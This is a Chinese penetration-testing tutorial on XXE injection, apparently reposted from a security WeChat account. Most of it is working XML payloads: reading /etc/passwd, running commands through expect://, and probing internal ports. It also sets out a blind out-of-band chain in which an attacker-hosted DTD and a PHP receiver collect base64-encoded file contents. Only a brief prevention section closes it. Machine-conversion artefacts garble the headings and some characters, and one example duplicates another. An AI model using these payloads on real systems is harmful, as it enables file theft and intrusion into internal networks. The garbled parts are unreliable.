滲透測試之XXE漏洞

XML外部實體注入簡稱XXE漏洞:XML用於標記電子文件使其具備結構性的標記語言,能夠用來標記數據、定義數據類型,是一種容許用戶對本身的標記語言進行定義的源語言。
文章目錄
  • 01 XML基礎知識php

  • 02 XXE漏洞原理css

  • 03 XXE漏洞利用html

  • 04 XXE漏洞繞過方式nginx

  • 05 XXE形成的危害flask

  • 06 XML注入預防安全


01服務器


XML基礎知識
微信



XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。DTD(文檔類型定義)的做用是定義 XML 文檔的合法構建模塊。DTD 能夠在 XML 文檔內聲明,也能夠外部引用。app

<?xml version=」1.0」>           //xml聲明

<!DOCTYPE  note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to   (#PCDATA)>                     //文檔類型定義
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body   (#PCDATA)>
]>

<note>
<to>George</to>
<from>John</from>                                 //文檔元素
<heading>Reminder</heading>
<body>Don’t forget the meeting</body>

02框架


XXE漏洞原理




XXE Injection (XML External Entity Injection,XML 外部實體注入攻擊)攻擊者能夠經過 XML 的外部實體來獲取服務器中本應被保護的數據。對於XXE漏洞最爲關鍵的部分是DTD文檔類型,DTD 的做用是定義 XML 文檔的合法構建模塊。當容許引用外部實體時,經過惡意構造,能夠致使任意文件讀取、執行系統命令、探測內網端口、攻擊內網網站等危害。DTD 能夠在 XML 文檔內聲明,也能夠外部引用;libxml2.9.1及之後,默認再也不解析外部實體。
內部聲明 DTD             
<!DOCTYPE 根元素 [元素聲明]>
引用外部 DTD                 
<!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
/或者
<!DOCTYPE 根元素 SYSTEM "文件名">
在解析 XML 時,實體將會被替換成相應的引用內容,xml文檔以下所示:
(1) 包含內部實體的 XML 文檔
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
    <!ENTITY copyright "Copyright xx.xx.xx">
]>

<c>&copyright;</c>


(2) 包含外部實體的 XML 文檔

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
    <!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
]>

<c>&copyright;</c>


03


XXE漏洞利用




(1) XML 解析器解析外部實體時支持多種協議
libxml2:file、http、ftp
PHP:file、http、ftp、php、compress.zlib、compress.bzip二、data、glob、phar
Java:file、http、ftp、https、jar、netdoc、mailto、gopher
.NET:file、http、ftp、https



(2) 不一樣解析器可能默認對於外部實體會有不一樣的處理規則,有些可能不會對外部實體進行解析: 

PHP:

  • DOMSimpleXML

.NET:

  • System.Xml.XmlDocumentSystem.Xml.XmlReader


對於XXE一般有兩種利用方式:

1) 有回顯XXE
攻擊者經過正常的回顯或報錯將外部實體中的內容讀取出來。file 協議讀取文件:
<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE c [
      <!ENTITY file SYSTEM "file:///etc/passwd">
  ]>

<c>&file;</c>


2) Blind XXE
服務器沒有回顯,只能使用 Blind XXE 來構建一條帶外數據通道提取數據; Blind XXE 主要使用了 DTD 約束中的參數實體和內部定義實體。參數實體:一個只能在 DTD 中定義和使用的實體,通常引用時用 % 做爲前綴; 內部定義實體:在一個實體中定義的一個實體,即嵌套定義:
<?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE c [
       <!ENTITY  % a "<!ENTITY b 'http://www.xxx.com'>"
       %a;
    ]>

<c>&b;</c>


Blind XXE 採用嵌套形式創建帶外數據通道,利用參數實體將本地內容讀出來後,做爲外部實體中的 URL 中的參數向其指定服務器發起請求,而後在其指定服務器的日誌(Apache 日誌)中讀出文件的內容(指定服務器即攻擊者的服務器);DTD 中使用 % 來定義的參數實體只能在外部子集中使用,或由外部文件定義參數實體,引用到 XML 文件的 DTD 來使用; 有些解釋器不容許在內層實體中使用外部鏈接,不管內層是通常實體仍是參數實體,因此須要將嵌套的實體聲明放在外部文件中。


04


XXE漏洞繞過方式



有回顯方式的XXE漏洞利用兩種方式:
方式一,xml內容爲:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>
<name>&xxe;</name>
</root>



方式2、xml內容爲:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY  % d  SYSTEM "http://ip/evil.dtd" >
%d;
]>

<root>
<name>&b;</name>
</root>


遠程vps服務器 www/html文件下創建evil.dtd文件,文件內容以下:

<!ENTITY b SYSTEM "file:///etc/passwd">



無回顯方式的XXE漏洞利用:
xml內容爲:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY  % file  SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >
<!ENTITY  % remote  SYSTEM "http://ip/evil2.dtd" >
%remote;
%all;
%send;
]>


遠程端vps上在www/html文件夾下放置兩個文件一個爲test.php文件用於接收信息,另外一個爲test.dtd,其中test.php代碼以下:

<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']); 
file_put_contents($file , $content);
echo "\n"
?>


test.dtd中代碼以下:

<!ENTITY % all
"<!ENTITY &#x25send SYSTEM 'http://ip/xxe/test.php?file=%file;'>
"
>



05


XML形成的危害



(1) 讀取任意文件

xml內容爲:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>
<name>&xxe;</name>
</root>


(2) 執行系統命令

在安裝expect擴展的PHP環境裏執行系統命令,其餘協議也有可能執行系統命令;
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>

<root>
<name>&xxe;</name>
</root>


(3) 探測內網端口
    
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>

<root>
<name>&xxe; </name>
</root>



(4) 攻擊內網網站
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>

<root>
<name>&xxe;</name>
</root>


06


XML注入預防



一、預約義字符轉義:
<       &lt;
>       &gt;
&       &amp;
‘      &apos;
「      &quot;


二、過濾用戶提交的XML數據,關鍵詞:,SYSTEM和PUBLIC;

三、禁用外部實體:libxml_disable_entity_loader(true)


- 往期推薦 -



滲透系列之flask框架開啓debug模式漏洞分析

滲透系列之隱藏在發送郵件處的任意文件下載

滲透測試業務邏輯測試彙總—通用篇

滲透系列之短信轟炸空格繞過

滲透系列之SSRF漏洞


【推薦書籍】

本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索